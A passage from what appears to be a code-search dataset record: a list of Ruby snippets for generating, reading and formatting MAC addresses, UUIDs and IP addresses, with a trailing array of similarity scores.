mac_masquerade_address\n super\n end", "def generate_by_vendor(vendor, opts = {})\n ouis = vendor_table[vendor]\n if ouis.nil? || ouis.empty?\n opts[:raising] ? raise(NotFoundOuiVendor, \"OUI not found for vendor: #{vendor}\") : (return nil)\n end\n oui = ouis[rand(ouis.size)]\n m1 = Address.new(oui[:prefix]).to_i\n m2 = rand(2**24)\n mac = m1 + m2\n Address.new(mac,\n name: vendor,\n address: oui[:address],\n iso_code: oui[:iso_code])\n end", "def generate_ip\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n octets = [ 192..192,\n 168..168,\n 0..254,\n 1..254 ]\n ip = Array.new\n for x in 1..4 do\n ip << octets[x-1].to_a[offset.modulo(octets[x-1].count)].to_s\n end\n \"#{ip.join(\".\")}/24\"\n end", "def mac_address\n raise ::Fission::Error,\"VM #{@name} does not exist\" unless self.exists?\n\n line=File.new(vmx_path).grep(/^ethernet0.generatedAddress =/)\n if line.nil?\n #Fission.ui.output \"Hmm, the vmx file #{vmx_path} does not contain a generated mac address \"\n return nil\n end\n address=line.first.split(\"=\")[1].strip.split(/\\\"/)[1]\n return address\n end", "def arp_dest_mac; self[:arp_dest_mac].to_s; end", "def mac_to_ip6_suffix(mac_i)\n mac = [\n mac_i & 0x00000000FFFFFFFF,\n (mac_i & 0xFFFFFFFF00000000) >> 32\n ]\n\n mlow = mac[0]\n eui64 = [\n 4261412864 + (mlow & 0x00FFFFFF),\n ((mac[1]+512)<<16) + ((mlow & 0xFF000000)>>16) + 0x000000FF\n ]\n\n return (eui64[1] << 32) + eui64[0]\n end", "def getMAC(interface)\n cmd = `ifconfig #{interface}`\n mac = cmd.match(/(([A-F0-9]{2}:){5}[A-F0-9]{2})/i).captures\n @log.debug \"MAC of interface '#{interface}' is: #{mac.first}\"\n return mac.first\n end", "def true_mac_address\n super\n end", "def true_mac_address\n super\n end", "def generate_by_iso_code(iso_code, opts = {})\n ouis = iso_code_table[iso_code]\n if ouis.nil? || ouis.empty?\n opts[:raising] ? raise(NotFoundOuiVendor, \"OUI not found for iso code #{iso_code}\") : (return nil)\n end\n oui = ouis[rand(ouis.size)]\n m1 = Address.new(oui[:prefix]).to_i\n m2 = rand(2**24)\n mac = m1 + m2\n Address.new(mac,\n name: oui[:name],\n address: oui[:address],\n iso_code: iso_code)\n end", "def get_macaddr\n currentEth = currentAddr = nil; macaddrs = {}\n `ifconfig`.split(\"\\n\").map! do |line|\n maybeEth = line.match(/([a-z]+[0-9]+): .*/)\n currentEth = maybeEth[1].strip if !maybeEth.nil?\n maybeAddr = line.match(/ether ([0-9 A-Ea-e \\:]+)/)\n currentAddr = maybeAddr[1].strip if !maybeAddr.nil?\n if currentEth != nil && currentAddr != nil\n macaddrs[currentEth] = currentAddr\n currentEth = currentAddr = nil\n end\n end\n macaddrs\nend", "def base_multicast_address\n return nil if !connection_address\n connection_address.split('/', 2).first\n end", "def macify\n split(\":\").map {|a| a[0].chr == \"0\" ? a[1].chr : a}.join(\":\")\n end", "def resolve_to_mac(input)\n if valid_mac?(input)\n return input\n end\n lookup_in_ethers(input)\n end", "def generate_serial_number_mac_address_mappings(pool)\n start_serial_number = pool.starting_serial_number\n start_mac_address = pool.starting_mac_address\n \n #generate array (serial_numbers), one serial number per row based on size of pool\n serial_numbers = []\n last_serial_number = get_last_serial_number(pool) + 1 \n (0..pool.size-1).each do |i| \n num = i + last_serial_number\n serial_numbers << get_serial_number(pool, num)\n end\n \n #generate array (mac_addresses), one mac address per row based on size of pool\n mac_addresses = []\n last_mac_address = 0\n if is_zigbee?(pool) || is_gateway?(pool) #checks device_type.mac_address_type (zigbee = 0, gateway = 1)\n last_mac_address = get_last_mac_address(pool) + 1\n end\n \n (0..pool.size-1).each do |i|\n num = i + last_mac_address\n if is_zigbee?(pool) || is_gateway?(pool)\n mac_addresses << get_mac_address(pool, num)\n else\n mac_addresses << ''\n end\n end\n \n #add a new device for each row in the pool and save the pool\n Device.transaction do\n (0..pool.size-1).each do |i|\n device = Device.new(:active => false, :pool_id => pool.id, :serial_number => serial_numbers[i], :mac_address => mac_addresses[i])\n device.save!\n end\n pool.ending_serial_number = serial_numbers[pool.size - 1]\n pool.ending_mac_address = mac_addresses[pool.size - 1]\n pool.save!\n end\n end", "def generate\n blake160_bin = [blake160[2..-1]].pack(\"H*\")\n type = [\"01\"].pack(\"H*\")\n bin_idx = [\"P2PH\".each_char.map { |c| c.ord.to_s(16) }.join].pack(\"H*\")\n payload = type + bin_idx + blake160_bin\n ConvertAddress.encode(@prefix, payload)\n end", "def get_mac_address(addresses)\n detected_addresses = addresses.detect { |address, keypair| keypair == { \"family\" => \"lladdr\" } }\n if detected_addresses\n detected_addresses.first\n else\n \"\"\n end\n end", "def read_mac_address\n end", "def format_mac_address\n\t\tself.mac_address = self.mac_address.to_s().upcase().gsub( /[^A-F0-9]/, '' )\n\tend", "def gen_ip_addresses(max=20)\n (1..max).map do |octet|\n \"192.168.#{octet}.1\"\n end\nend", "def manufacturer_id\n mac[0..7]\n end", "def arp_saddr_mac\n\t\tEthHeader.str2mac(self[:arp_src_mac].to_s)\n\tend", "def eui_64(mac)\n if @family != Socket::AF_INET6\n raise Exception, \"EUI-64 only makes sense on IPv6 prefixes.\"\n elsif self.length != 64\n raise Exception, \"EUI-64 only makes sense on 64 bit IPv6 prefixes.\"\n end\n if mac.is_a? Integer\n mac = \"%:012x\" % mac\n end\n if mac.is_a? String\n mac.gsub!(/[^0-9a-fA-F]/, \"\")\n if mac.match(/^[0-9a-f]{12}/).nil?\n raise ArgumentError, \"Second argument must be a valid MAC address.\"\n end\n e64 = (mac[0..5] + \"fffe\" + mac[6..11]).to_i(16) ^ 0x0200000000000000\n IPAddr.new(self.first.to_i + e64, Socket::AF_INET6)\n end\n end", "def generate_uuid\n hex = []\n (0..9).each { |i| hex << i.to_s }\n ('a'..'f').each { |l| hex << l }\n\n result = []\n sections = [8, 4, 4, 4, 12]\n\n sections.each do |num|\n num.times do \n result << hex[rand(16)]\n end\n result << '-'\n end\n\n result.join.chop\nend", "def arp_src_mac= i; typecast \"arp_src_mac\", i; end", "def gen_uuid\n arr = [('a'..'f'), (0..9)].map{|i| i.to_a}.flatten\n uuid = \"\"\n 8.times {uuid << arr[rand(16)].to_s} ; uuid << \"-\"\n 3.times {4.times {uuid << arr[rand(16)].to_s} ; uuid << \"-\"}\n 12.times {uuid << arr[rand(16)].to_s}\n uuid\nend", "def mac(string)\n Digest::SHA256.new.update(string).hexdigest.upcase\n end", "def mac_address\n mac = nil\n\n ovf.xpath(\"//*[local-name()='Machine']/*[local-name()='Hardware']/*[local-name()='Network']/*[local-name()='Adapter']\").each do |net|\n if net.attribute(\"enabled\").value == \"true\"\n mac = net.attribute(\"MACAddress\").value\n break\n end\n end\n\n if mac\n return mac\n else\n fail Errors::BoxAttributeError, error_message: 'Could not determine mac address'\n end\n end", "def socket\n @socket ||= UDPSocket.new.tap do |socket|\n socket.setsockopt Socket::IPPROTO_IP,\n Socket::IP_ADD_MEMBERSHIP,\n multicast_group\n socket.setsockopt Socket::IPPROTO_IP,\n Socket::IP_MULTICAST_TTL,\n 1\n socket.setsockopt Socket::SOL_SOCKET,\n Socket::SO_REUSEPORT,\n 1 \n end\n end", "def generate_node_number\n seed_data = if node['fqdn'].nil?\n \"#{node['ipaddress']}#{node['macaddress']}#{node['ip6address']}\"\n else\n node['fqdn']\n end\n Digest::MD5.hexdigest(seed_data).unpack1('L')\n end", "def read_mac_address\n execute(:get_network_mac, VmId: vm_id)\n end", "def mac\n @attributes.fetch('mac', nil)\n end", "def to_source; \"* = $#{@addr.to_s(16)}\"; end", "def get_fusion_vm_mac(options)\n options['mac'] = \"\"\n options['search'] = \"ethernet0.address\"\n options['mac'] = get_fusion_vm_vmx_file_value(options)\n if not options['mac']\n options['search'] = \"ethernet0.generatedAddress\"\n options['mac'] = get_fusion_vm_vmx_file_value(options)\n end\n return options['mac']\nend", "def generate_random_email\n # random_number = rand(1000000 .. 9000000)\n random_number = Time.now.getlocal.to_s.delete \"- :\"\n \"ruslan.yagudin+#{random_number}@flixster-inc.com\"\nend", "def cisco_rand\n rand(1 << 24)\n end", "def create_uuid\n uuid = ''\n sections = [8, 4, 4, 4, 12]\n\n sections.each do |section|\n section.times { uuid += HEX.sample }\n uuid += '-' unless section == 12\n end\n \n uuid\nend", "def make_uuid()\n uuid = \"\"\n 8.times { uuid << rand(16).to_s(16) }\n uuid << \"-\"\n 3.times do\n 4.times { uuid << rand(16).to_s(16) }\n uuid << \"-\"\n end\n 12.times { uuid << rand(16).to_s(16) }\n \n uuid\nend", "def id\n m = /ether\\s+(\\S+)/.match(`ifconfig wlan0`)\n return nil if m.nil?\n mac = m[1] # WLAN mac address\n return nil if mac.nil?\n MAC2ID[mac.downcase]\n end", "def generate_random_email_address\n random_email_account = SecureRandom.hex(@number_of_random_characters)\n random_domain_name = SecureRandom.hex(@number_of_random_characters)\n return random_email_account + \"@\" + random_domain_name + @email_suffix\n end", "def random_unused_loopback_ip\n [127, *(0...3).map { (rand(127) + 128)}].map(&:to_s).join('.')\n end", "def arp_src_mac; self[:arp_src_mac].to_s; end", "def generate_id\n SecureRandom.hex(8)\n end", "def calc_cmc_mac(base_mac, i = 1)\n mac_array = base_mac.split(/:/)\n mac_array[-2] = \"F%d\" % [i / 100]\n mac_array[-1] = \"%02d\" % [i % 100]\n mac_array.join(\":\")\nend", "def add_mac_colon!\n unless mac.include? ':'\n self.mac = mac.to_s.chars.each_slice(2).map(&:join).join(':')\n end\n end", "def add_mac_colon!\n unless mac.include? ':'\n self.mac = mac.to_s.chars.each_slice(2).map(&:join).join(':')\n end\n end", "def get_mac_for_interface(interfaces, interface)\n interfaces[interface][:addresses].find { |k, v| v[\"family\"] == \"lladdr\" }.first unless interfaces[interface][:addresses].nil? || interfaces[interface][:flags].include?(\"NOARP\")\n end", "def generate_uuid\n hexadecimals = ('0'..'9').to_a.concat(('a'..'f').to_a)\n uuid = ''\n\n 32.times do\n uuid += hexadecimals.sample\n end\n uuid.insert(8, '-').insert(13, '-').insert(18, '-').insert(23, '-')\nend", "def create_socket\n\t\tiaddr = self.class.bind_addr\n\t\tsocket = UDPSocket.new\n\n\t\tsocket.setsockopt( :IPPROTO_IP, :IP_ADD_MEMBERSHIP, iaddr )\n\t\tsocket.setsockopt( :IPPROTO_IP, :IP_MULTICAST_TTL, self.class.multicast_ttl )\n\t\tsocket.setsockopt( :IPPROTO_IP, :IP_MULTICAST_LOOP, 1 )\n\t\tsocket.setsockopt( :SOL_SOCKET, :SO_REUSEPORT, 1 )\n\n\t\treturn socket\n\tend", "def generate_UUID\n # build hex string to randomly pick from:\n uuid = \"\"\n hex_array = []\n (0..9).each { |num| hex_array << num.to_s }\n ('a'..'f').each { |char| hex_array << char }\n\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do | section, index|\n section.times { uuid << hex_array.sample }\n uuid << '-' unless index >= sections.size-1\n end\n uuid\nend", "def read_mac_address\n hw_info = read_settings.fetch('Hardware', {})\n shared_ifaces = hw_info.select do |name, params|\n name.start_with?('net') && params['type'] == 'shared'\n end\n\n raise Errors::SharedInterfaceNotFound if shared_ifaces.empty?\n\n shared_ifaces.values.first.fetch('mac', nil)\n end", "def arp_daddr_mac\n\t\tEthHeader.str2mac(self[:arp_dest_mac].to_s)\n\tend", "def dest_mac\n self[:dest_mac]\n end", "def get_mac_address\n IO.popen(\"ifconfig\") do |io|\n while line = io.gets\n return $1 if (line =~ /HWaddr ([A-Z0-9:]+)/)\n end\n end\n return nil\nend", "def generate_UUID_1\n uuid = ''\n hex_index = (0..15)\n hex_values = ('0'..'9').to_a + ('a'..'f').to_a\n\n (0..8).each do |num|\n uuid << hex_values[rand(hex_index)]\n end\n uuid << '-'\n (0..4).each do |num|\n uuid << hex_values[rand(hex_index)]\n end\n uuid << '-'\n (0..4).each do |num|\n uuid << hex_values[rand(hex_index)]\n end\n uuid << '-'\n (0..12).each do |num|\n uuid << hex_values[rand(hex_index)]\n end\n uuid\nend", "def address\n return @mac_address if defined? @mac_address and @mac_address\n re = %r/[^:\\-](?:[0-9A-F][0-9A-F][:\\-]){5}[0-9A-F][0-9A-F][^:\\-]/io\n cmds = '/sbin/ifconfig', '/bin/ifconfig', 'ifconfig', 'ipconfig /all', 'cat /sys/class/net/*/address'\n\n null = test(?e, '/dev/null') ? '/dev/null' : 'NUL'\n\n output = nil\n cmds.each do |cmd|\n begin\n r, w = IO.pipe\n ::Process.waitpid(spawn(cmd, :out => w))\n w.close\n stdout = r.read\n next unless stdout and stdout.size > 0\n output = stdout and break\n rescue\n # go to next command!\n end\n end\n raise \"all of #{ cmds.join ' ' } failed\" unless output\n\n @mac_address = parse(output)\n end", "def pretty\n\t\tmacocts = []\n\t\tmac_addr.each_byte { |o| macocts << o }\n\t\tmacocts += [0] * (6 - macocts.size) if macocts.size < 6\n\t\treturn sprintf(\n\t\t\t\t\"#{mac_name}\\n\" +\n\t\t\t\t\"Hardware MAC: %02x:%02x:%02x:%02x:%02x:%02x\\n\" +\n\t\t\t\t\"IP Address : %s\\n\" +\n\t\t\t\t\"Netmask : %s\\n\" +\n\t\t\t\t\"\\n\", \n\t\t\t\tmacocts[0], macocts[1], macocts[2], macocts[3], \n\t\t\t\tmacocts[4], macocts[5], ip, netmask)\n\tend", "def setup( mac, ip = '255.255.255.255' )\n \n @magic ||= (\"\\xff\" * 6)\n \n # Validate MAC address and craft the magic packet\n raise AddressException,\n 'Invalid MAC address' unless self.valid_mac?( mac )\n mac_addr = mac.split(/:/).collect {|x| x.hex}.pack('CCCCCC')\n @magic[6..-1] = (mac_addr * 16)\n \n # Validate IP address\n raise AddressException,\n 'Invalid IP address' unless self.valid_ip?( ip )\n @ip_addr = ip\n \n end" ]
[ "0.8006559", "0.7866787", "0.7567914", "0.75315917", "0.7446902", "0.74305457", "0.7396655", "0.72476536", "0.7213217", "0.7011633", "0.68995744", "0.6857859", "0.68375605", "0.66943496", "0.6647405", "0.6647405", "0.65428764", "0.6522817", "0.65095234", "0.64838856", "0.6472574", "0.64233965", "0.6377844", "0.6304218", "0.6213674", "0.6199512", "0.61694777", "0.61413467", "0.6129608", "0.608408", "0.6065346", "0.6037271", "0.6030282", "0.60067874", "0.5995269", "0.5992142", "0.5988829", "0.5985954", "0.5976363", "0.5971025", "0.59645635", "0.59637934", "0.59637934", "0.59618783", "0.59552795", "0.5942932", "0.5942557", "0.5936768", "0.58998996", "0.58744156", "0.58744156", "0.5841401", "0.5841092", "0.5837965", "0.5832882", "0.5814486", "0.58017915", "0.5799314", "0.5790264", "0.5780405", "0.5773553", "0.5764265", "0.5754572", "0.5737301", "0.5734914", "0.5668745", "0.56660604", "0.5660079", "0.5654575", "0.56480324", "0.5631476", "0.5621302", "0.5599436", "0.5581042", "0.5568473", "0.5567835", "0.55603963", "0.55502975", "0.55448246", "0.55408406", "0.5530096", "0.55300075", "0.5521588", "0.55165833", "0.5513171", "0.5506316", "0.5505821", "0.5505821", "0.5505125", "0.5493683", "0.5491149", "0.5490844", "0.5481892", "0.54753065", "0.54690254", "0.54653805", "0.54595697", "0.54578304", "0.5457541", "0.5454102" ]
0.7401642
6
Generate a unicast and locally administered MAC address
def test_gen_mac_multicast_globally_unique mac = RFauxFactory.gen_mac(multicast: true, locally: false) first_octect = mac.split(':')[0].to_i(16) mask = 0b00000011 assert_equal first_octect & mask, 1 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def generate_mac\n if locate_config_value(:macaddress).nil?\n ('%02x' % (rand(64) * 4 | 2)) + (0..4).reduce('') { |s, _x|s + ':%02x' % rand(256) }\n else\n locate_config_value(:macaddress)\n end\n end", "def generate_mac \n (\"%02x\"%(rand(64)*4|2))+(0..4).inject(\"\"){|s,x|s+\":%02x\"%rand(256)}\n end", "def mac_address\n unless @mac\n octets = 3.times.map { rand(255).to_s(16) }\n @mac = \"525400#{octets[0]}#{octets[1]}#{octets[2]}\"\n end\n @mac\n end", "def generate_mac\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n digits = [ %w(0),\n %w(0),\n %w(0),\n %w(0),\n %w(5),\n %w(e),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(5 6 7 8 9 a b c d e f),\n %w(3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f) ]\n mac = \"\"\n for x in 1..12 do\n mac += digits[x-1][offset.modulo(digits[x-1].count)]\n mac += \":\" if (x.modulo(2) == 0) && (x != 12)\n end\n mac\n end", "def test_gen_mac_unicast_locally_administered\n mac = RFauxFactory.gen_mac(multicast: false, locally: true)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 2\n end", "def generate_ULA(mac, subnet_id = 0, locally_assigned=true)\n now = Time.now.utc\n ntp_time = ((now.to_i + 2208988800) << 32) + now.nsec # Convert time to an NTP timstamp.\n system_id = '::/64'.to_ip.eui_64(mac).to_i # Generate an EUI64 from the provided MAC address.\n key = [ ntp_time, system_id ].pack('QQ') # Pack the ntp timestamp and the system_id into a binary string\n global_id = Digest::SHA1.digest( key ).unpack('QQ').last & 0xffffffffff # Use only the last 40 bytes of the SHA1 digest.\n\n prefix =\n (126 << 121) + # 0xfc (bytes 0..6)\n ((locally_assigned ? 1 : 0) << 120) + # locally assigned? (byte 7)\n (global_id << 80) + # 40 bit global idenfitier (bytes 8..48)\n ((subnet_id & 0xffff) << 64) # 16 bit subnet_id (bytes 48..64)\n\n prefix.to_ip(Socket::AF_INET6).tap { |p| p.length = 64 }\n end", "def test_gen_mac_multicast_locally_administered\n mac = RFauxFactory.gen_mac(multicast: true, locally: true)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 3\n end", "def test_gen_mac_unicast_globally_unique\n mac = RFauxFactory.gen_mac(multicast: false, locally: false)\n first_octect = mac.split(':')[0].to_i(16)\n mask = 0b00000011\n assert_equal first_octect & mask, 0\n end", "def generate_unique_mac\n sprintf('b88d12%s', (1..3).map{\"%0.2X\" % rand(256)}.join('').downcase)\n end", "def mac_eth0\n eth0.mac_address\n end", "def random_mac(oui=nil)\n mac_parts = [oui||DEFAULT_OUI]\n [0x7f, 0xff, 0xff].each do |limit|\n mac_parts << \"%02x\" % rand(limit + 1)\n end\n mac_parts.join('-')\nend", "def random_mac_addr(provider)\n symbol = provider.to_sym\n case symbol\n when :virtualbox\n PROVIDER_MAC_PREFIXES[:virtualbox] + 3.times.map { '%02x' % rand(0..255) }.join\n when :libvirt\n PROVIDER_MAC_PREFIXES[:libvirt] + 3.times.map { '%02x' % rand(0..255) }.join\n when :vmware_fusion\n PROVIDER_MAC_PREFIXES[:vmware] + 3.times.map { '%02x' % rand(0..255) }.join\n when :vmware\n PROVIDER_MAC_PREFIXES[:vmware] + 3.times.map { '%02x' % rand(0..255) }.join\n when :parallels\n PROVIDER_MAC_PREFIXES[:parallels] + 3.times.map { '%02x' % rand(0..255) }.join\n when :hyper_v\n PROVIDER_MAC_PREFIXES[:hyper_v] + 3.times.map { '%02x' % rand(0..255) }.join\n else\n raise \"Unsupported provider #{provider}\"\n end\nend", "def mac_address\n @mac_address ||= raw_data[22..27].join(':')\n end", "def tap_mac\n\t\[email protected]_address.to_sockaddr[-6,6]\n\tend", "def tap_mac\n\t\[email protected]_address.to_sockaddr[-6,6]\n\tend", "def mac_address(prefix: T.unsafe(nil)); end", "def mac_for_instance(num=nil)\n num = next_instance_to_start if num.nil?\n num = num.to_i if num.is_a?(String) and num =~ /^\\d+$/\n if !num.is_a? Fixnum or num < 0 or num > 255 \n raise TypeError, _('Argument must be an integer between 0 and 255')\n end\n offset = sprintf('%02x', num)\n mac = mac_base_addr.gsub(/00$/, offset)\n\n mac\n end", "def tap_mac\n @sock.local_address.to_sockaddr[-6, 6]\n end", "def get_mac_address(pool, num)\n end_num = num.to_s(16)\n # mac_address = pool.starting_mac_address\n mac_address = '002440'\n mac_address = mac_address.ljust(12, \"0\")\n mac_address[mac_address.size - end_num.size, mac_address.size]= end_num\n mac_address = mac_address[0,2] + ':' + mac_address[2, 2] + ':' + mac_address[4,2] + ':' + mac_address[6,2] + ':' + mac_address[8,2] + ':' + mac_address[10,2]\n return mac_address\n end", "def mac_address\n raise ::Fission::Error,\"VM #{@name} does not exist\" unless self.exists?\n\n line=File.new(vmx_path).grep(/^ethernet0.generatedAddress =/)\n if line.nil?\n #Fission.ui.output \"Hmm, the vmx file #{vmx_path} does not contain a generated mac address \"\n return nil\n end\n address=line.first.split(\"=\")[1].strip.split(/\\\"/)[1]\n return address\n end", "def getMAC\n tmpmac = \"\"\n if Stage.initial\n tmpmac = Convert.to_string(SCR.Read(path(\".etc.install_inf.HWAddr\")))\n end\n cleanmac = Builtins.deletechars(tmpmac != nil ? tmpmac : \"\", \":\")\n cleanmac\n end", "def mac_address\n if NicView.empty_mac?(self[\"CurrentMACAddress\"])\n self[\"PermanentMACAddress\"]\n elsif self[\"PermanentMACAddress\"]\n self[\"CurrentMACAddress\"]\n end\n end", "def resolve_to_mac(input)\n if valid_mac?(input)\n return input\n end\n lookup_in_ethers(input)\n end", "def mac_address\n super\n end", "def mac_addr\n if (mac_addr = @host.at('tag[name=mac-addr]'))\n mac_addr.inner_text\n end\n end", "def generate\n blake160_bin = [blake160[2..-1]].pack(\"H*\")\n type = [\"01\"].pack(\"H*\")\n bin_idx = [\"P2PH\".each_char.map { |c| c.ord.to_s(16) }.join].pack(\"H*\")\n payload = type + bin_idx + blake160_bin\n ConvertAddress.encode(@prefix, payload)\n end", "def calc_mac(base_mac, i = 1)\n mac_array = base_mac.split(/:/)\n\n mac_array[-1] = sprintf(\"%02x\", mac_array.last.hex + i).upcase\n mac_array.join(\":\")\nend", "def multicast_mac(options=nil)\n known_args = [:Objectify]\n objectify = false\n\n if (options)\n if (!options.kind_of? Hash)\n raise ArgumentError, \"Expected Hash, but #{options.class} provided.\"\n end\n NetAddr.validate_args(options.keys,known_args)\n\n if (options.has_key?(:Objectify) && options[:Objectify] == true)\n objectify = true\n end\n end\n\n if (@version == 4)\n if (@ip & 0xf0000000 == 0xe0000000)\n # map low order 23-bits of ip to 01:00:5e:00:00:00\n mac = @ip & 0x007fffff | 0x01005e000000\n else\n raise ValidationError, \"#{self.ip} is not a valid multicast address. IPv4 multicast \" +\n \"addresses should be in the range 224.0.0.0/4.\"\n end\n else\n if (@ip & (0xff << 120) == 0xff << 120)\n # map low order 32-bits of ip to 33:33:00:00:00:00\n mac = @ip & (2**32-1) | 0x333300000000\n else\n raise ValidationError, \"#{self.ip} is not a valid multicast address. IPv6 multicast \" +\n \"addresses should be in the range ff00::/8.\"\n end\n end\n\n eui = NetAddr::EUI48.new(mac)\n eui = eui.address if (!objectify)\n\n return(eui)\n end", "def true_mac_address\n super\n end", "def true_mac_address\n super\n end", "def base_mac_address\n super\n end", "def generate_by_vendor(vendor, opts = {})\n ouis = vendor_table[vendor]\n if ouis.nil? || ouis.empty?\n opts[:raising] ? raise(NotFoundOuiVendor, \"OUI not found for vendor: #{vendor}\") : (return nil)\n end\n oui = ouis[rand(ouis.size)]\n m1 = Address.new(oui[:prefix]).to_i\n m2 = rand(2**24)\n mac = m1 + m2\n Address.new(mac,\n name: vendor,\n address: oui[:address],\n iso_code: oui[:iso_code])\n end", "def address\n @mac_address ||= addresses.first\n end", "def generate_by_iso_code(iso_code, opts = {})\n ouis = iso_code_table[iso_code]\n if ouis.nil? || ouis.empty?\n opts[:raising] ? raise(NotFoundOuiVendor, \"OUI not found for iso code #{iso_code}\") : (return nil)\n end\n oui = ouis[rand(ouis.size)]\n m1 = Address.new(oui[:prefix]).to_i\n m2 = rand(2**24)\n mac = m1 + m2\n Address.new(mac,\n name: oui[:name],\n address: oui[:address],\n iso_code: iso_code)\n end", "def arp_dest_mac= i; typecast \"arp_dest_mac\", i; end", "def create clock=nil, time=nil, mac_addr=nil\nc = t = m = nil\nDir.chdir Dir.tmpdir do\nunless FileTest.exist? STATE_FILE then\n# Generate a pseudo MAC address because we have no pure-ruby way\n# to know the MAC address of the NIC this system uses. Note\n# that cheating with pseudo arresses here is completely legal:\n# see Section 4.5 of RFC4122 for details.\nsha1 = Digest::SHA1.new\n256.times do\nr = [rand(0x100000000)].pack \"N\"\nsha1.update r\nend\nstr = sha1.digest\nr = rand 14 # 20-6\nnode = str[r, 6] || str\nnode[0] |= 0x01 # multicast bit\nk = rand 0x40000\nopen STATE_FILE, 'w' do |fp|\nfp.flock IO::LOCK_EX\nwrite_state fp, k, node\nfp.chmod 0o777 # must be world writable\nend\nend\nopen STATE_FILE, 'r+' do |fp|\nfp.flock IO::LOCK_EX\nc, m = read_state fp\nc = clock % 0x4000 if clock\nm = mac_addr if mac_addr\nt = time\nif t.nil? then\n# UUID epoch is 1582/Oct/15\ntt = Time.now\nt = tt.to_i*10000000 + tt.tv_usec*10 + 0x01B21DD213814000\nend\nc = c.succ # important; increment here\nwrite_state fp, c, m\nend\nend\n \ntl = t & 0xFFFF_FFFF\ntm = t >> 32\ntm = tm & 0xFFFF\nth = t >> 48\nth = th & 0x0FFF\nth = th | 0x1000\ncl = c & 0xFF\nch = c & 0x3F00\nch = ch >> 8\nch = ch | 0x80\npack tl, tm, th, cl, ch, m\nend", "def mac\n File.open(\"/sys/class/net/#{@name}/address\") do |f|\n f.read.chomp\n end\n end", "def format_mac_address\n self.mac_address = self.mac_address.to_s.upcase.gsub(/[^A-F0-9]/,'')\n end", "def setup( mac, ip = '255.255.255.255' )\n \n @magic ||= (\"\\xff\" * 6)\n \n # Validate MAC address and craft the magic packet\n raise AddressException,\n 'Invalid MAC address' unless self.valid_mac?( mac )\n mac_addr = mac.split(/:/).collect {|x| x.hex}.pack('CCCCCC')\n @magic[6..-1] = (mac_addr * 16)\n \n # Validate IP address\n raise AddressException,\n 'Invalid IP address' unless self.valid_ip?( ip )\n @ip_addr = ip\n \n end", "def arp_saddr_mac\n\t\tEthHeader.str2mac(self[:arp_src_mac].to_s)\n\tend", "def mac_masquerade_address\n super\n end", "def mac_masquerade_address\n super\n end", "def arp_dest_mac; self[:arp_dest_mac].to_s; end", "def get_mac_address(addresses)\n detected_addresses = addresses.detect { |address, keypair| keypair == { \"family\" => \"lladdr\" } }\n if detected_addresses\n detected_addresses.first\n else\n \"\"\n end\n end", "def get_mac_address_of_nic_on_requested_vlan\n args = {\n :value_of_vlan_option => get_option(:vlan),\n :dest_cluster => dest_cluster,\n :destination => destination\n }\n source.ext_management_system.ovirt_services.get_mac_address_of_nic_on_requested_vlan(args)\n end", "def mac\n @mac || REXML::XPath.first(@definition, \"//domain/devices/interface/mac/@address\").value\n end", "def get_macaddr\n currentEth = currentAddr = nil; macaddrs = {}\n `ifconfig`.split(\"\\n\").map! do |line|\n maybeEth = line.match(/([a-z]+[0-9]+): .*/)\n currentEth = maybeEth[1].strip if !maybeEth.nil?\n maybeAddr = line.match(/ether ([0-9 A-Ea-e \\:]+)/)\n currentAddr = maybeAddr[1].strip if !maybeAddr.nil?\n if currentEth != nil && currentAddr != nil\n macaddrs[currentEth] = currentAddr\n currentEth = currentAddr = nil\n end\n end\n macaddrs\nend", "def mac_address\n mac = nil\n\n ovf.xpath(\"//*[local-name()='Machine']/*[local-name()='Hardware']/*[local-name()='Network']/*[local-name()='Adapter']\").each do |net|\n if net.attribute(\"enabled\").value == \"true\"\n mac = net.attribute(\"MACAddress\").value\n break\n end\n end\n\n if mac\n return mac\n else\n fail Errors::BoxAttributeError, error_message: 'Could not determine mac address'\n end\n end", "def getMAC(interface)\n cmd = `ifconfig #{interface}`\n mac = cmd.match(/(([A-F0-9]{2}:){5}[A-F0-9]{2})/i).captures\n @log.debug \"MAC of interface '#{interface}' is: #{mac.first}\"\n return mac.first\n end", "def generate_ip\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n octets = [ 192..192,\n 168..168,\n 0..254,\n 1..254 ]\n ip = Array.new\n for x in 1..4 do\n ip << octets[x-1].to_a[offset.modulo(octets[x-1].count)].to_s\n end\n \"#{ip.join(\".\")}/24\"\n end", "def read_mac_address\n end", "def get_fusion_vm_mac(options)\n options['mac'] = \"\"\n options['search'] = \"ethernet0.address\"\n options['mac'] = get_fusion_vm_vmx_file_value(options)\n if not options['mac']\n options['search'] = \"ethernet0.generatedAddress\"\n options['mac'] = get_fusion_vm_vmx_file_value(options)\n end\n return options['mac']\nend", "def macify\n split(\":\").map {|a| a[0].chr == \"0\" ? a[1].chr : a}.join(\":\")\n end", "def genConf\n conf=\"auto #{@device}\\n\"\n if (ip != nil && netmask != nil)\n conf+=%(iface #{@device} inet static\n address #{@ip}\n netmask #{@netmask}\n)\n else\n conf+=\"iface #{@device} inet dhcp\\n\"\n end\n end", "def format_mac_address\n\t\tself.mac_address = self.mac_address.to_s().upcase().gsub( /[^A-F0-9]/, '' )\n\tend", "def get_mac_for_interface(interfaces, interface)\n interfaces[interface][:addresses].find { |k, v| v[\"family\"] == \"lladdr\" }.first unless interfaces[interface][:addresses].nil? || interfaces[interface][:flags].include?(\"NOARP\")\n end", "def generate_serial_number_mac_address_mappings(pool)\n start_serial_number = pool.starting_serial_number\n start_mac_address = pool.starting_mac_address\n \n #generate array (serial_numbers), one serial number per row based on size of pool\n serial_numbers = []\n last_serial_number = get_last_serial_number(pool) + 1 \n (0..pool.size-1).each do |i| \n num = i + last_serial_number\n serial_numbers << get_serial_number(pool, num)\n end\n \n 